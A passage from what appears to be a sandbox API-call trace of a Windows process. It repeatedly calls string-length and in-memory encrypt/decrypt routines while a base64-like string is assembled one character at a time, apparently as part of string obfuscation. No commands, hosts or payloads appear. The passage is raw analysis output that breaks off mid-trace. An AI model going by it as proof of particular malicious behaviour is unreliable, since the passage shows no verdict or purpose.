(param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0136.502] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0136.502] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.502] SysStringLen (param_1="YWM1O") returned 0x8 [0136.502] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.502] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0136.502] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0136.502] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.502] SysStringLen (param_1="YWM1OT") returned 0x8 [0136.502] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.502] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0136.502] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0136.502] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.502] SysStringLen (param_1="YWM1OTE") returned 0x8 [0136.502] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.502] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0136.502] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0136.502] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.502] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0136.502] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.503] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0136.503] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0136.503] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0136.503] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0136.503] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.503] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0136.503] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.503] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0136.503] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0136.503] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.503] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0136.503] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.503] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0136.503] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0136.503] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.503] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0136.503] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.503] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0136.503] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0136.503] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.504] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0136.504] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.504] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0136.504] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0136.504] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.504] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0136.504] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.504] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0136.504] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0136.504] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.504] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0136.504] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.504] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0136.504] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0136.504] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.505] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0136.505] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.505] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0136.505] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0136.505] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.505] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0136.505] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.505] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0136.505] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0136.505] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0136.505] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0136.505] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.505] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0136.505] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.505] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0136.505] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0136.505] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.505] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0136.505] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.506] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0136.506] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0136.506] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.506] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0136.506] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.506] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0136.506] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0136.506] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.506] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0136.506] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.506] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0136.506] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0136.506] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.506] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0136.507] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.507] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0136.507] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0136.507] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.507] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0136.507] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.507] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0136.507] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0136.507] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.507] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0136.507] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.507] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0136.507] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0136.507] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.507] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0136.507] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.507] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0136.507] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0136.507] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0136.507] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0136.507] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.508] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0136.508] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.508] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0136.508] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0136.508] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.508] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0136.508] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.508] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0136.508] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0136.508] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.508] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0136.508] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.510] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0136.510] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0136.510] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.510] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0136.510] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.510] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0136.510] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0136.510] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.510] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0136.510] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.510] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0136.511] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0136.511] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.511] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0136.511] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.511] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0136.511] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0136.511] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.511] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0136.511] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.511] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0136.511] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0136.511] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.512] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0136.512] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.512] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0136.512] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0136.512] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0136.512] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0136.512] SystemFunction041 (in: Memory=0x8ebfb5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfb5c) returned 0x0 [0136.512] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0136.512] SystemFunction040 (in: Memory=0x8ebfb5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfb5c) returned 0x0 [0136.512] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0136.512] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0136.512] SystemFunction041 (in: Memory=0x8ebfb5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfb5c) returned 0x0 [0136.512] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0136.512] SystemFunction040 (in: Memory=0x8ebfb5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfb5c) returned 0x0 [0136.512] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0136.512] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0136.512] 